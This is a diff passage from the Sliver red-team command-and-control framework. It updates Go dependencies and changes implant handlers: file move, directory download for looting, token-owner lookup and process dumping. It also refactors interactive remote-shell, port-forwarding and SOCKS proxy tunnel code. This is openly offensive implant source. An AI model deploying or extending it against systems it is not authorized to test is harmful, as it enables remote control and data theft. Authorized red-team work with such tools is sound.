 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
 	github.com/jackc/pgconn v1.7.0 // indirect
@@ -99,26 +87,32 @@ require (
 	github.com/jinzhu/now v1.1.2 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-isatty v0.0.13 // indirect
 	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
+	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.3.0 // indirect
-	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
+	gopkg.in/yaml.v3 v3.0.0 // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
+	modernc.org/memory v1.0.7 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect

implant/go-mod

@@ -1,24 +1,24 @@
 module github.com/bishopfox/sliver
 
-go 1.16
+go 1.17
 
 require (
-	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/gofrs/uuid v4.0.0+incompatible
-	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-	github.com/lesnuages/go-winio v0.4.19
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/pquerna/otp v1.3.0
-	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-	golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-	golang.zx2c4.com/wireguard/windows v0.5.1
-	google.golang.org/protobuf v1.23.0
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+github.com/Microsoft/go-winio v0.5.0 // indirect
+github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+github.com/gofrs/uuid v4.0.0+incompatible
+github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+github.com/lesnuages/go-winio v0.4.19
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+github.com/pquerna/otp v1.3.0
+github.com/stretchr/testify v1.7.0
+golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
+golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+golang.zx2c4.com/wireguard/windows v0.5.1
+gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+google.golang.org/protobuf v1.23.0
+github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 )

implant/sliver/handlers/handlers.go

@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func mvHandler(data []byte, resp RPCResponse) {
+	mvReq := &sliverpb.MvReq{}
+	err := proto.Unmarshal(data, mvReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	move := &sliverpb.Mv{}
+	err = os.Rename(mvReq.Src, mvReq.Dst)
+	if err != nil {
+		move.Response = &commonpb.Response{
+			Err: err.Error(),
+		}
+	}
+
+	data, err = proto.Marshal(move)
+	resp(data, err)
+}
+
 func mkdirHandler(data []byte, resp RPCResponse) {
 	mkdirReq := &sliverpb.MkdirReq{}
 	err := proto.Unmarshal(data, mkdirReq)
@@ -255,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
 // Send a file back to the hive
 func downloadHandler(data []byte, resp RPCResponse) {
 	var rawData []byte
+
+	/*
+		A flag for whether this is a directory - used if
+		this download is being looted
+	*/
+	var isDir bool
+
 	downloadReq := &sliverpb.DownloadReq{}
 	err := proto.Unmarshal(data, downloadReq)
 	if err != nil {
@@ -285,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		log.Printf("error creating the archive: %v", err)
 		// {{end}}
 		rawData = dirData.Bytes()
+		isDir = true
 	} else {
 		rawData, err = ioutil.ReadFile(target)
+		isDir = false
 	}
 
 	var download *sliverpb.Download
@@ -294,10 +325,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		gzipData := bytes.NewBuffer([]byte{})
 		gzipWrite(gzipData, rawData)
 		download = &sliverpb.Download{
-			Path:    target,
-			Data:    gzipData.Bytes(),
-			Encoder: "gzip",
-			Exists:  true,
+			Path:     target,
+			Data:     gzipData.Bytes(),
+			Encoder:  "gzip",
+			Exists:   true,
+			IsDir:    isDir,
+			Response: &commonpb.Response{},
 		}
 	} else {
 		download = &sliverpb.Download{Path: target, Exists: false}
@@ -582,12 +615,58 @@ func gzipRead(data []byte) ([]byte, error) {
 	return buf.Bytes(), nil
 }
 
+func standarizeArchiveFileName(path string) string {
+	// Change all backslashes to forward slashes
+	var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
+
+	/*
+		Remove the volume / root from the directory
+		path. This makes it so that files on the
+		system where the archive is extracted to
+		will not be clobbered.
+
+		Tried with filepath.VolumeName, but that function
+		does not work reliably with Windows paths
+	*/
+	if strings.HasPrefix(standardFilePath, "//") {
+		// If this a UNC path, filepath.Rel is not going to work
+		return standardFilePath[2:]
+	} else {
+		// Calculate a path relative to the root
+		pathParts := strings.SplitN(standardFilePath, "/", 2)
+		if len(pathParts) < 2 {
+			// Then something is wrong with this path
+			return standardFilePath
+		}
+
+		basePath := pathParts[0]
+		fileRelPath := pathParts[1]
+
+		if basePath == "" {
+			// If base path is blank, that means it started with / and / is the root
+			return fileRelPath
+		} else {
+			/*
+				Then this is almost certainly Windows, and we will set the archive up
+				so that it preserves the path but without the colon.
+				Something like:
+				c/windows/system32/file.whatever
+				Colons are not legal in Windows filenames, so let's get rid of them.
+			*/
+			basePath = strings.ReplaceAll(basePath, ":", "")
+			basePath = strings.ToLower(basePath)
+			return basePath + "/" + fileRelPath
+		}
+	}
+}
+
 func compressDir(path string, buf io.Writer) error {
 	zipWriter := gzip.NewWriter(buf)
 	tarWriter := tar.NewWriter(zipWriter)
 
 	filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
-		fileName := file
+		fileName := standarizeArchiveFileName(file)
+
 		// If the file is a SymLink replace fileInfo and path with the symlink destination.
 		if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
 			file, err = filepath.EvalSymlinks(file)

implant/sliver/handlers/handlers_darwin.go

@@ -37,6 +37,7 @@ var (
 		pb.MsgPwdReq:       pwdHandler,
 		pb.MsgRmReq:        rmHandler,
 		pb.MsgMkdirReq:     mkdirHandler,
+		pb.MsgMvReq:        mvHandler,
 		pb.MsgIfconfigReq:  ifconfigHandler,
 		pb.MsgExecuteReq:   executeHandler,
 		pb.MsgEnvReq:       getEnvHandler,

implant/sliver/handlers/handlers_generic.go

@@ -40,6 +40,7 @@ var (
 		sliverpb.MsgPwdReq:         pwdHandler,
 		sliverpb.MsgRmReq:          rmHandler,
 		sliverpb.MsgMkdirReq:       mkdirHandler,
+		sliverpb.MsgMvReq:          mvHandler,
 		sliverpb.MsgExecuteReq:     executeHandler,
 		sliverpb.MsgSetEnvReq:      setEnvHandler,
 		sliverpb.MsgEnvReq:         getEnvHandler,

implant/sliver/handlers/handlers_linux.go

@@ -34,6 +34,7 @@ var (
 		sliverpb.MsgPwdReq:       pwdHandler,
 		sliverpb.MsgRmReq:        rmHandler,
 		sliverpb.MsgMkdirReq:     mkdirHandler,
+		sliverpb.MsgMvReq:        mvHandler,
 		sliverpb.MsgTaskReq:      taskHandler,
 		sliverpb.MsgIfconfigReq:  ifconfigHandler,
 		sliverpb.MsgExecuteReq:   executeHandler,
@@ -48,6 +49,7 @@ var (
 
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
 		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgProcessDumpReq: dumpHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific

implant/sliver/handlers/handlers_windows.go

@@ -65,6 +65,7 @@ var (
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -89,6 +90,7 @@ var (
 		sliverpb.MsgCdReq:          cdHandler,
 		sliverpb.MsgPwdReq:         pwdHandler,
 		sliverpb.MsgRmReq:          rmHandler,
+		sliverpb.MsgMvReq:          mvHandler,
 		sliverpb.MsgMkdirReq:       mkdirHandler,
 		sliverpb.MsgExecuteReq:     executeHandler,
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
@@ -176,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
+	tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
+	err := proto.Unmarshal(data, tokOwnReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	getCT := &sliverpb.CurrentTokenOwner{}
+	owner, err := priv.CurrentTokenOwner()
+	if err != nil {
+		getCT.Response = &commonpb.Response{Err: err.Error()}
+	}
+	getCT.Output = owner
+	data, err = proto.Marshal(getCT)
+	resp(data, err)
+}
+
 func getsystemHandler(data []byte, resp RPCResponse) {
 	getSysReq := &sliverpb.InvokeGetSystemReq{}
 	err := proto.Unmarshal(data, getSysReq)

implant/sliver/handlers/pivot-handlers.go

@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
 		return
 	}
 	pivots.StopListener(req.ID)
+	pivots.RemoveListener(req.ID)
 	connection.Send <- &pb.Envelope{
 		ID:   envelope.ID,
 		Data: []byte{},

implant/sliver/handlers/rpc-handlers.go

@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
 }
 
 func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.Screenshot{}
+	sc := &sliverpb.ScreenshotReq{}
 	err := proto.Unmarshal(data, sc)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
 	// {{if .Config.Debug}}
 	log.Printf("Screenshot Request")
 	// {{end}}
-
-	sc.Data = screen.Screenshot()
-	data, err = proto.Marshal(sc)
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
 
 	resp(data, err)
 }

implant/sliver/handlers/tun-handlers.go

@@ -19,36 +19,24 @@ package handlers
 */
 
 import (
-	"context"
-	"fmt"
-	"io"
-	"net"
-	"sync"
-	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
-	"github.com/bishopfox/sliver/implant/sliver/shell"
-	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/things-go/go-socks5"
-	"google.golang.org/protobuf/proto"
 )
 
 var (
 	tunnelHandlers = map[uint32]TunnelHandler{
-		sliverpb.MsgShellReq:   shellReqHandler,
-		sliverpb.MsgPortfwdReq: portfwdReqHandler,
-		sliverpb.MsgSocksData:  socksReqHandler,
+		sliverpb.MsgShellReq:   tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
+		sliverpb.MsgSocksData:  tunnel_handlers.SocksReqHandler,
 
-		sliverpb.MsgTunnelData:  tunnelDataHandler,
-		sliverpb.MsgTunnelClose: tunnelCloseHandler,
+		sliverpb.MsgTunnelData:  tunnel_handlers.TunnelDataHandler,
+		sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
 	}
-
-	// TunnelID -> Sequence Number -> Data
-	tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
 )
 
 // GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
 	// {{end}}
 	return tunnelHandlers
 }
-
-func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelClose := &sliverpb.TunnelData{
-		Closed: true,
-	}
-	proto.Unmarshal(envelope.Data, tunnelClose)
-	tunnel := connection.Tunnel(tunnelClose.TunnelID)
-	if tunnel != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnel.Reader.Close()
-		tunnel.Writer.Close()
-		delete(tunnelDataCache, tunnel.ID)
-	}
-}
-
-func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelData := &sliverpb.TunnelData{}
-	proto.Unmarshal(envelope.Data, tunnelData)
-	tunnel := connection.Tunnel(tunnelData.TunnelID)
-	if tunnel != nil {
-
-		if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
-			tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
-		}
-
-		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
-		// to ensure we write the data back to the reader in the correct order. The server will ensure
-		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
-		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
-		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
-		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
-		// correctly write them back to the reader.
-
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
-		// {{end}}
-
-		//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
-		//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
-		var l sync.Mutex
-		l.Lock()
-		tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
-
-		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
-		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
-		// is used here whereas WriteSequence is used for data written back to the server
-
-		// Go through cache and write all sequential data to the reader
-		cache := tunnelDataCache[tunnel.ID]
-		for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
-			// {{if .Config.Debug}}
-			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
-			// {{end}}
-			tunnel.Writer.Write(recv.Data)
-
-			// Delete the entry we just wrote from the cache
-			delete(cache, tunnel.ReadSequence)
-			tunnel.ReadSequence++ // Increment sequence counter
-		}
-
-		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
-		//Send a Resend packet to have the msg resent from the cache
-		if len(cache) > 3 {
-			data, err := proto.Marshal(&sliverpb.TunnelData{
-				Sequence: tunnel.WriteSequence, // The tunnel write sequence
-				Ack:      tunnel.ReadSequence,
-				Resend:   true,
-				TunnelID: tunnel.ID,
-				Data:     []byte{},
-			})
-			if err != nil {
-				// {{if .Config.Debug}}
-				log.Printf("[shell] Failed to marshal protobuf %s", err)
-				// {{end}}
-			} else {
-				// {{if .Config.Debug}}
-				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
-				// {{end}}
-				connection.RequestResend(data)
-			}
-		}
-		//Unlock
-		l.Unlock()
-
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
-		// {{end}}
-	}
-}
-
-// tunnelWriter - Sends data back to the server based on data read()
-// I know the reader/writer stuff is a little hard to keep track of
-type tunnelWriter struct {
-	tun  *transports.Tunnel
-	conn *transports.Connection
-}
-
-func (tw tunnelWriter) Write(data []byte) (int, error) {
-	n := len(data)
-	data, err := proto.Marshal(&sliverpb.TunnelData{
-		Sequence: tw.tun.WriteSequence, // The tunnel write sequence
-		Ack:      tw.tun.ReadSequence,
-		TunnelID: tw.tun.ID,
-		Data:     data,
-	})
-	// {{if .Config.Debug}}
-	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
-	// {{end}}
-	tw.tun.WriteSequence++ // Increment write sequence
-	tw.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgTunnelData,
-		Data: data,
-	}
-	return n, err
-}
-
-func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-
-	shellReq := &sliverpb.ShellReq{}
-	err := proto.Unmarshal(envelope.Data, shellReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	shellPath := shell.GetSystemShellPath(shellReq.Path)
-	systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
-	if systemShell == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to get system shell")
-		// {{end}}
-		return
-	}
-	go systemShell.StartAndWait()
-	// Wait for the process to actually spawn
-	for {
-		if systemShell.Command.Process == nil {
-			// {{if .Config.Debug}}
-			log.Printf("[shell] Waiting for process to spawn ...")
-			// {{end}}
-			time.Sleep(time.Second)
-		} else {
-			break
-		}
-	}
-	tunnel := &transports.Tunnel{
-		ID:     shellReq.TunnelID,
-		Reader: systemShell.Stdout,
-		Writer: systemShell.Stdin,
-	}
-	connection.AddTunnel(tunnel)
-
-	shellResp, _ := proto.Marshal(&sliverpb.Shell{
-		Pid:      uint32(systemShell.Command.Process.Pid),
-		Path:     shellReq.Path,
-		TunnelID: shellReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: shellResp,
-	}
-
-	// Cleanup function with arguments
-	cleanup := func(reason string) {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-	}
-
-	go func() {
-		for {
-			tWriter := tunnelWriter{
-				tun:  tunnel,
-				conn: connection,
-			}
-			_, err := io.Copy(tWriter, tunnel.Reader)
-			if systemShell.Command.ProcessState != nil {
-				if systemShell.Command.ProcessState.Exited() {
-					cleanup("process terminated")
-					return
-				}
-			}
-			if err == io.EOF {
-				cleanup("EOF")
-				return
-			}
-		}
-	}()
-
-	// {{if .Config.Debug}}
-	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
-	// {{end}}
-
-}
-
-func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	portfwdReq := &sliverpb.PortfwdReq{}
-	err := proto.Unmarshal(envelope.Data, portfwdReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	var defaultDialer = new(net.Dialer)
-
-	// TODO: Configurable context
-	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
-	// {{if .Config.Debug}}
-	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
-	// {{end}}
-	dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to dial remote address %s", err)
-		// {{end}}
-		return
-	}
-	if conn, ok := dst.(*net.TCPConn); ok {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Configuring keep alive")
-		// {{end}}
-		conn.SetKeepAlive(true)
-		// TODO: Make KeepAlive configurable
-		conn.SetKeepAlivePeriod(30 * time.Second)
-	}
-
-	// Add tunnel
-	tunnel := &transports.Tunnel{
-		ID:     portfwdReq.TunnelID,
-		Reader: dst,
-		Writer: dst,
-	}
-	connection.AddTunnel(tunnel)
-
-	// Send portfwd response
-	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
-		Port:     portfwdReq.Port,
-		Host:     portfwdReq.Host,
-		Protocol: sliverpb.PortFwdProtoTCP,
-		TunnelID: portfwdReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: portfwdResp,
-	}
-
-	cleanup := func(reason error) {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-	}
-
-	go func() {
-		tWriter := tunnelWriter{
-			tun:  tunnel,
-			conn: connection,
-		}
-		_, err := io.Copy(tWriter, tunnel.Reader)
-		cleanup(err)
-	}()
-}
-
-type socksTunnelPool struct {
-	tunnels    map[uint64]chan []byte
-	readMutex  *sync.Mutex
-	writeMutex *sync.Mutex
-	Sequence   map[uint64]uint64
-}
-
-var socksTunnels = socksTunnelPool{
-	tunnels:    map[uint64]chan []byte{},
-	readMutex:  &sync.Mutex{},
-	writeMutex: &sync.Mutex{},
-	Sequence:   map[uint64]uint64{},
-}
-
-var socksServer *socks5.Server
-
-func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	socksData := &sliverpb.SocksData{}
-	err := proto.Unmarshal(envelope.Data, socksData)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-	if socksData.Data == nil {
-		return
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
-	// {{end}}
-
-	if socksData.Username != "" && socksData.Password != "" {
-		cred := socks5.StaticCredentials{
-			socksData.Username: socksData.Password,
-		}
-		auth := socks5.UserPassAuthenticator{Credentials: cred}
-		socksServer = socks5.NewServer(
-			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
-		)
-	} else {
-		socksServer = socks5.NewServer()
-	}
-
-	// {{if .Config.Debug}}
-	log.Printf("[socks] Server: %v", socksServer)
-	// {{end}}
-
-	// init tunnel
-	if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
-		socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
-		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
-		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
-		if err != nil {
-			return
-		}
-	} else {
-		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
-	}
-}
-
-var _ net.Conn = &socks{}
-
-type socks struct {
-	stream *sliverpb.SocksData
-	conn   *transports.Connection
-	// mux      sync.Mutex
-	Sequence uint64
-}
-
-func (s *socks) Read(b []byte) (n int, err error) {
-	socksTunnels.readMutex.Lock()
-	channel := socksTunnels.tunnels[s.stream.TunnelID]
-	socksTunnels.readMutex.Unlock()
-	data := <-channel
-	return copy(b, data), nil
-}
-
-func (s *socks) Write(b []byte) (n int, err error) {
-	socksTunnels.writeMutex.Lock()
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID: s.stream.TunnelID,
-		Data:     b,
-		Sequence: s.Sequence,
-	})
-	if !s.conn.IsOpen {
-		return 0, err
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
-	// {{end}}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-	socksTunnels.writeMutex.Unlock()
-	s.Sequence++
-	return len(b), err
-}
-
-func (s *socks) Close() error {
-	close(socksTunnels.tunnels[s.stream.TunnelID])
-	delete(socksTunnels.tunnels, s.stream.TunnelID)
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID:  s.stream.TunnelID,
-		CloseConn: true,
-	})
-	if !s.conn.IsOpen {
-		return err
-	}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-	return err
-}
-
-func (c *socks) LocalAddr() net.Addr {
-	return nil
-}
-
-func (c *socks) RemoteAddr() net.Addr {
-	return &net.IPAddr{
-		IP:   net.IPv4(127, 0, 0, 1),
-		Zone: "",
-	}
-}
-
-// TODO impl
-func (c *socks) SetDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetReadDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetWriteDeadline(t time.Time) error {
-	return nil
-}

implant/sliver/handlers/tunnel_handlers/close_handler.go

@@ -0,0 +1,33 @@
+package tunnel_handlers
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelClose := &sliverpb.TunnelData{
+		Closed: true,
+	}
+	proto.Unmarshal(envelope.Data, tunnelClose)
+	tunnel := connection.Tunnel(tunnelClose.TunnelID)
+	if tunnel != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
+		// {{end}}
+		connection.RemoveTunnel(tunnel.ID)
+		tunnel.Reader.Close()
+		tunnel.Writer.Close()
+		tunnelDataCache.DeleteTun(tunnel.ID)
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
+		// {{end}}
+	}
+}

implant/sliver/handlers/tunnel_handlers/data_cache.go

@@ -0,0 +1,66 @@
+package tunnel_handlers
+
+import (
+	"sync"
+
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// TunnelID -> Sequence Number -> Data
+	tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
+)
+
+type dataCache struct {
+	mutex *sync.RWMutex
+	cache map[uint64]map[uint64]*sliverpb.TunnelData
+}
+
+func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
+	}
+
+	c.cache[tunnelID][sequence] = tunnelData
+}
+
+func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		return nil, false
+	}
+
+	val, ok := c.cache[tunnelID][sequence]
+
+	return val, ok
+}
+
+func (c *dataCache) DeleteTun(tunnelID uint64) {
